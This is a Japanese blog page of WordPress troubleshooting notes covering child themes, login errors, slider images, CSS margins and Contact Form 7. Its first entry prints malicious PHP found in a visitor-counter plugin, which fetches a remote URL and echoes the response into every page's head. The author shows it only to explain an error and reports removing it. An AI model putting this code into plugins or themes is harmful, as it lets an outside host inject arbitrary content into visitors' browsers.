このサイトを運営していく過程で解決したWordPressのトラブルを、備忘録も兼ねて記録しておきます。
→Nivo Slider は png では正しく表示されないことがある
→Contact Form 7 の確認メールアドレスチェックの不具合の解決
→Twenty Twelve の不可解な現象ーページによって文字の大きさが違う
サイトの左上に Not Found が現れる問題の解決
2014年12月4日
昨日（12/3）突然下の画面のように、サイトの左上に
Not found
The requested URL /c.php was not found on this server
www.likjafh.net
というエラーが現れるようになりました。
検索して見ますと、下記の投稿が見つかりました。
http://www.coderexception.com/CHzBHH3NPQWXPQSU/customer-shop-wordpess-not-found-hphp-likjafhnet
WordPressの問題のようです。ここに書かれているように、WordPressを再インストールしましたが、解決しません。
プラグインの問題と思い、ここに書かれているように、プラグインを一つひとつ停止して有効化をしました。ただし、My Visitor Counter は、カウントがゼロになってしまうようなのでやめています。しかし解決しません。
最後の手段として、この記事の下に書かれている、My Visitor Counter のコードを検索してみましたら、この記事にある次のコードが見つかりました。
add_action(‘wp_head’, ‘silly’);
function silly() {
$bbb_url = ‘http://www.likjafh.net/c.php’;
if(!function_exists(‘bbb_get’)){
function bbb_get($f) {
$response = wp_remote_get( $f );
if( is_wp_error( $response ) ) {
function bbb_get_body($f) {
$ch = @curl_init();
@curl_setopt($ch, CURLOPT_URL, $f);
@curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$output = @curl_exec($ch);
@curl_close($ch);
return $output;
}
echo bbb_get_body($f);
} else {
echo $response[‘body’];
}
}
bbb_get($bbb_url);
}
}
そこで、思い切ってこのコードを削除しましたところ、見事解決できました。My Visitor Counter の動きも問題ないようです。
WordPressログイン時のエラーの解決
2014年10月15日
WordPressログオン時に、
「エラー: 予期しない出力により Cookies がブロックされました。ヘルプが必要な場合はこちらのドキュメンテーションを読むか、サポートフォーラムをご利用ください。」
というエラーが出て、ログインできなくなりました。インターネットを検索しますと、パーミッションを変更すると解決したという記述が多くありましたが、管理者の自分のパーミッションが正しく設定されているのだから、これはあたらないと検索を続けた結果、
「php ファイルの ?> のあとに空白や改行があるとこの現象が発生する」
という記事がありました。
子テーマに入れた php ファイルの最後の ?> の後に確かに改行が入っていました。これを取り除いたらログインできるようになりました。
参考にしたのは次のサイトです。
http://www.1010uzu.com/boyaki/2014/04/wordpress-error-mamp-update
子テーマを作成したが有効化できない現象の解決
2014年10月14日
子テーマフォルダを作成して、そこに最低限必要な style.css を配置してテーマ選択画面を開いたが、
「以下のテーマはインストールされていますが不完全です。テーマにはスタイルシートとテンプレートが一つずつ必要です。」
というメッセージが出て、子テーマを有効化できません。
調べてみましたら、
「子テーマの style.css の template:xxxxxxxxxx の xxxxxxxxxx の部分は、大文字・小文字も含めて親テーマのフォルダ名と全く同じでないといけない」
ということがわかりました。親テーマ名の先頭1文字が大文字だったのです。これを訂正したら、テーマ選択の中に現れるようになり、有効化できるようになりました。
Nivo Slider はpngでは正しく表示されないことがある
2015年1月14日
＊あとでわかったのですが、この現象はIE7、IE8のバグで、透過PNG画像をフェードさせると透過部分が黒ずむのだそうです。私の使用しているのはIE9でしたので、まだバグが解決されていないようです。これは、Nivo Slider に限ったことではなくて、どのスライダーでも発生するはずです。
WordPress を使用している人には人気の、Nivo Slider for WordPress で、グラデーションのかかった画像の透明部分が突然黒くなるという現象が発生しました。
本来ならば下のように表示されるべきものが、
このようにグラデーションで透明にした部分が黒くなってしまうのです。
何が原因だろうと半日ほど調べました。画像編集ソフト（GIMP)での編集方法は今までと変わりません。
エクスポートされた画像を見ても正しく表示されています。
ようやくわかったことは、JPGでエクスポートしたものは正しく表示されるが、PNGでエクスポートしたものは、このように正しく表示されないということでした。
ようやく解決しました。
適度の字下げを実現するために段落の余白を縮める（余白をなくす）
2015年1月31日
WordPressは、Enterキーで改行すると、広い余白ができてしまいます。文章を書くとき、改行のたびに広い余白ができると、散漫な文章という印象を受けてよくありません。なぜこうなっているのか理解に苦しみます。私の想像では、WordPressがもともとブログから発展したからではないかと思います。ブログでは行間をあけて書くことを好む人が多いようです。それに合わせてこのような標準を作り上げたのではと予想します。
では、これを回避するにはどうしたらよいかというと、Shiftキー + Enterキーで改行すれば、広い行間があかずにきれいな文章になります。
しかし、下のよう一部字下げをしたい場合があります。
字下げをしたい部分の行頭に、スペースを1文字入れます。（上の1.2.3.の前にスペースを入れた状態です）
しかし、編集画面では上手に字下げされたように見えても、更新ボタンを押すと
このように、スペースは無視されて先頭に戻ってしまいます。
編集画面にはインデントしてくれるボタンがありますが、このインデントは段落（<p>タグ）に対して適用されるため、下のように字下げしたい部分にインデントを設定しても、
このように、段落全体が字下げされてしまします。これはWordでも同じですね。
前から気にかかっていたのですが、方法が見つからず、２つの改行方法で、左の先頭に一律揃いの、面白味のない文面に甘んじていました。しかし今回クライアントのサイトで、どうしてもこれではまずい状況になったので、いろいろ試してみました。
かくなる上は、段落と段落の間の行間を縮める（なくす）しか方法がありません。
それには、CSSを変更する必要があります。子テーマのスタイルシートに次のスクリプトを追加しました。
p { margin-top: 0px; }
しかしうまくいきません。ググッてみますと、下記サイトに有益な情報がありました。
http://tips.nishishi.com/css/box-paramargin.html
一般にブラウザは、段落（<p>タグ）と段落の間隔には、1行分の余白を入れている。（標準の1emのマージンが設定される） マージンは段落の上(top)と下(bottom)に設定されているが、隣接する段落の間では、どちらかのマージンの大きい方を採用するということです。つまり上(top)だけ指定してもだめで、topとbottomの両方を指定しないといけないということです。
そこで、子テーマのスタイルシートの追加部分を下のように変えました。
p { margin-top: 0px; margin-bottom: 0px; }
しかしこれでもうまくいきません。ググッたところもう一つのサイトがありました。
http://okwave.jp/qa/q1734671.html
これは、<head>…</head> の間に次のスクリプトを入れてしまうものです。
<style type=”text/css”
p { margin-top: 0; margin-bottom:0 }
</style>
<head>…</head> の中ですから、テーマの header.php に上記追加をしましたが、これでもだめです。
通常のWordPressならばこれでいくはずなのですが、私の使っている Twenty Twelve のテーマでは、まだ他にあるのでしょうか。ということで Twenty Twelve をキーワードに加えてググってみますと、今は存在しないサイトで次の事実がわかりました。
記事は全て <div class=”entry-content”> というclassが指定されている
ということです。そこで、スタイルシートの .entry-content p を探すと次のようになっています。
entry-content 以外にも他のクラスがありますが、影響なさそうなのでこれを子テーマのスタイルシートに移して下記のように変更しました。
子テーマに移しているので、ライン番号は変わっています。そうしますと、Enterキーで改行しても下のように、広い行間がなくなりました。
管理画面の編集画面ではまだ広い行間がありますが、これは別の個所で変える必要がありそうです。あとで考えましょう。
そしてHTMLのソースコードを見ても、確かに <p> タグで囲まれています。
インデントを適用してみると、このようにきれいにそろいます。行頭にスペースを入れても反映されます。(その後の確認で、行頭スペースは反映されないようです。方法がわかったらこのページで紹介します)
これで長年の課題が解決しました。これで、適度のインデントをつけた、わかりやすく美しい文面を作ることができます。
このサイトもいずれ変えたいのですが、本来行間を取りたくてEnterキーで改行しているところもいっぱいありますから、変えるときはサイト全体を一斉に見直さないといけません。
画像の周りのみっともない枠を消す
2015年2月17日
メディア追加した画像の枠が気になる時がありますよね。通常は気にならないのですが、下のような場合はみっともないと思いませんか。
検索しますと、次のようにするとよいと書かれています。
スタイルシートで次 のように定義して、
img.borderless { border-radius: 0; box-shadow: none; }
実際に画像を配置するところで、次のように記述します。
<img src=”#” alt=”” class=”borderless” />
しかし、Twenty Twelve の場合、枠が消えませんでした。
さらに検索しますと、次のサイトがありました。
http://office-goto.info/wordpress/img-frame-border/
Twenty Twelve のスタイルシートの次の部分をコメントアウトしてしまうというものです。
すると、このよう枠が消えて見栄えよくなりました。
そもそも デフォルトで枠がつくようになっているのがおかしいと思いませんか。枠を付けたければ画像編集ソフトで付けるか、付けたいところだけスタイルシートで設置すればいいのではないでしょうか。
Contact Form 7 の確認メールアドレスチェックの不具合の解決
2015年2月24日
問い合わせのページにプラグイン Contact Form 7 は機能が多く、便利でよく使われています。しかし、確認メールチェックの機能がないので追加する必要があります。
次のサイトを始め、多くのサイトで紹介されているのが、functions.php にフィルターフックを追加する方法で、私も使ってきました。
Contact Form 7 で確認用メールアドレスの入力フォームを加える方法
ところが昨日、新しく請け負ったサイトの制作で使ってみましたが、確認用アドレスを誤入力してもチェック機能が働かずスルーしてしまうのです。
スクリプトコードが違っていないか、全角スペースが入っていないかなどと一日中悩みましたが解決しません。やはりインターネットのことはインターネットに聞けというわけで、気を取り直してもう一度いくつかをググッてみましたら、次のブログがありました。
Contact Form 7 定番のメールアドレス二重確認コードが使えなくなっていたので手直ししてみた
こちらのスクリプトコードを使ってみましたら、確認用メールアドレスの誤入力を正しくチェックしてくれました。
ブログ投稿者の松下さんによると、Contact Form 7 のバージョンアップによるものらしいです。ということは、今まで使ってきたサイトも確認してみないといけないということですね。
松下さん、ありがとうございました。
Twenty Twelve の不可解な現象ーページによって文字の大きさが違う
WordPress のデフォルトテーマ Twenty Twelve は、シンプルでカスタマイズしやすいので、私もよく使用します。ところがある時不可解な現象が発生しました。フォントサイズの設定を変えていないのに、下のようにページによって文字の大きさが違うのです。
スタイルシートのボディの文字の大きさは下のように標準の14px になっています。
原因がわからず悩んでいましたが、ある時ソースを見ましたらとんでもないものを発見しました。文字の大きいページのパラグラフごとに、フォントサイズ(16px)とそのほかのスタイルの指定がされているのです。こんな指定をした覚えはありません。
今まで「ビジュアル」でしか見ていませんでしたので、「テキスト」で見てみましたら、このように全部のパラグラフに、長々とスタイル指定がされていました。
このスタイル指定を全部削除して、全ページを14px に揃えました。いったいどうしたのでしょう。ある時期、Twenty Twelve か WordPress にこのようなスタイル指定が入るようになっていたとしか考えられません。